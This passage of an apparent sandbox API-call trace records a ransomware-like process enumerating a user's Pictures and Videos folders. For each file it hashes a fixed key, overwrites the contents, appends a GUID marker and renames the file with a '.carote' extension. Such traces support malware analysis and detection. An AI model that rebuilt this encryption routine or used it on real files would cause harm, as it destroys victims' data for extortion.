hHeap=0x5010000) returned 1 [0113.576] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.577] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.577] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.577] CloseHandle (hObject=0x61c) returned 1 [0113.577] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\pTgIntnrLgI.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\ptgintnrlgi.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\pTgIntnrLgI.jpg.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\ptgintnrlgi.jpg.carote")) returned 1 [0113.579] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774df890, ftCreationTime.dwHighDateTime=0x1d4cf57, ftLastAccessTime.dwLowDateTime=0x660390c0, ftLastAccessTime.dwHighDateTime=0x1d4ce8c, ftLastWriteTime.dwLowDateTime=0x660390c0, ftLastWriteTime.dwHighDateTime=0x1d4ce8c, nFileSizeHigh=0x0, nFileSizeLow=0x18b79, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uyt9YJUkC_hciXuzO_.png", cAlternateFileName="UYT9YJ~1.PNG")) returned 1 [0113.579] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\uyt9YJUkC_hciXuzO_.png") returned=".png" [0113.579] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\uyt9YJUkC_hciXuzO_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\uyt9yjukc_hcixuzo_.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.579] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=101241) returned 1 [0113.579] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.581] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18b53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.581] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.583] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x18b79, lpOverlapped=0x0) returned 1 [0113.583] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.583] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.583] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.584] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.584] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.584] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.584] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.584] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.584] GetLastError () returned 0x0 [0113.584] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.584] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.585] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18b79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.585] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.585] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.585] CloseHandle (hObject=0x61c) returned 1 [0113.587] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\uyt9YJUkC_hciXuzO_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\uyt9yjukc_hcixuzo_.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\uyt9YJUkC_hciXuzO_.png.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\uyt9yjukc_hcixuzo_.png.carote")) returned 1 [0113.588] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc7dc120, ftCreationTime.dwHighDateTime=0x1d4cab4, ftLastAccessTime.dwLowDateTime=0x5d793660, ftLastAccessTime.dwHighDateTime=0x1d4d528, ftLastWriteTime.dwLowDateTime=0x5d793660, ftLastWriteTime.dwHighDateTime=0x1d4d528, nFileSizeHigh=0x0, nFileSizeLow=0xfcd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vARY.png", cAlternateFileName="")) returned 1 [0113.588] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\vARY.png") returned=".png" [0113.588] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\vARY.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\vary.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.588] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=4045) returned 1 [0113.588] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.590] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfa7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.590] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.591] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.591] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xfcd, lpOverlapped=0x0) returned 1 [0113.591] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.592] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.592] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.592] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.592] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.592] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.592] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.592] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.592] GetLastError () returned 0x0 [0113.592] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.593] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.593] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfcd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.593] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.593] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.593] CloseHandle (hObject=0x61c) returned 1 [0113.594] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\vARY.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\vary.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\vARY.png.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\vary.png.carote")) returned 1 [0113.595] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc7dc120, ftCreationTime.dwHighDateTime=0x1d4cab4, ftLastAccessTime.dwLowDateTime=0x5d793660, ftLastAccessTime.dwHighDateTime=0x1d4d528, ftLastWriteTime.dwLowDateTime=0x5d793660, ftLastWriteTime.dwHighDateTime=0x1d4d528, nFileSizeHigh=0x0, nFileSizeLow=0xfcd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vARY.png", cAlternateFileName="")) returned 0 [0113.595] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.595] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.595] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.595] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\") returned="DflAw\\" [0113.595] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\") returned="UYaZ4DG0b_NROc5iB6tm\\" [0113.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0113.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0113.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0113.595] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0113.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0113.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0113.595] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.595] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0113.595] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.595] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.595] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.596] PathFindFileNameW (pszPath="") returned="" [0113.596] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.596] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dee73e0, ftCreationTime.dwHighDateTime=0x1d4d3a9, ftLastAccessTime.dwLowDateTime=0xb7188290, ftLastAccessTime.dwHighDateTime=0x1d4d215, ftLastWriteTime.dwLowDateTime=0xb7188290, ftLastWriteTime.dwHighDateTime=0x1d4d215, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.598] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.598] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dee73e0, ftCreationTime.dwHighDateTime=0x1d4d3a9, ftLastAccessTime.dwLowDateTime=0xb7188290, ftLastAccessTime.dwHighDateTime=0x1d4d215, ftLastWriteTime.dwLowDateTime=0xb7188290, ftLastWriteTime.dwHighDateTime=0x1d4d215, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.598] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe22a7740, ftCreationTime.dwHighDateTime=0x1d4d21f, ftLastAccessTime.dwLowDateTime=0xdf4be380, ftLastAccessTime.dwHighDateTime=0x1d4c97b, ftLastWriteTime.dwLowDateTime=0xdf4be380, ftLastWriteTime.dwHighDateTime=0x1d4c97b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5unaIP8QoXZY", cAlternateFileName="5UNAIP~1")) returned 1 [0113.598] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109ae8 [0113.598] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.598] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109c38 [0113.598] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.598] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109ae8 | out: hHeap=0x5010000) returned 1 [0113.598] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f2f1cb0, ftCreationTime.dwHighDateTime=0x1d4d0bb, ftLastAccessTime.dwLowDateTime=0x1806e190, ftLastAccessTime.dwHighDateTime=0x1d4ce1b, ftLastWriteTime.dwLowDateTime=0x1806e190, ftLastWriteTime.dwHighDateTime=0x1d4ce1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aSFf3q", cAlternateFileName="")) returned 1 [0113.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f5b8 [0113.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f520 [0113.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f5b8 | out: hHeap=0x5010000) returned 1 [0113.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.599] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccfeff60, ftCreationTime.dwHighDateTime=0x1d4c6b9, ftLastAccessTime.dwLowDateTime=0xa1701000, ftLastAccessTime.dwHighDateTime=0x1d4c803, ftLastWriteTime.dwLowDateTime=0xa1701000, ftLastWriteTime.dwHighDateTime=0x1d4c803, nFileSizeHigh=0x0, nFileSizeLow=0x9e53, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ih30 WglWzXLsQmA.mp4", cAlternateFileName="IH30WG~1.MP4")) returned 1 [0113.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0113.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.599] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\ih30 WglWzXLsQmA.mp4") returned=".mp4" [0113.599] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\ih30 WglWzXLsQmA.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\ih30 wglwzxlsqma.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.600] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=40531) returned 1 [0113.600] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.601] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9e2d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.601] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.603] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.603] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x9e53, lpOverlapped=0x0) returned 1 [0113.604] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.604] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.604] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.604] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.604] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.605] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.605] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.605] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.605] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.605] GetLastError () returned 0x0 [0113.605] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.605] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x9e50) returned 0x7b182e0 [0113.605] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.605] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x9e4e, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x9e4e, lpOverlapped=0x0) returned 1 [0113.605] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.605] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9e53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.605] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.606] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.606] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.606] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.606] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.606] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.606] CloseHandle (hObject=0x61c) returned 1 [0113.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0113.607] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b14908 [0113.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0113.607] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\ih30 WglWzXLsQmA.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\ih30 wglwzxlsqma.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\ih30 WglWzXLsQmA.mp4.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\ih30 wglwzxlsqma.mp4.carote")) returned 1 [0113.607] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.607] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.608] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d4b7d0, ftCreationTime.dwHighDateTime=0x1d4ca51, ftLastAccessTime.dwLowDateTime=0x5c49bcf0, ftLastAccessTime.dwHighDateTime=0x1d4c557, ftLastWriteTime.dwLowDateTime=0x5c49bcf0, ftLastWriteTime.dwHighDateTime=0x1d4c557, nFileSizeHigh=0x0, nFileSizeLow=0x438c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ItGC.flv", cAlternateFileName="")) returned 1 [0113.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.608] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0113.608] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.608] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 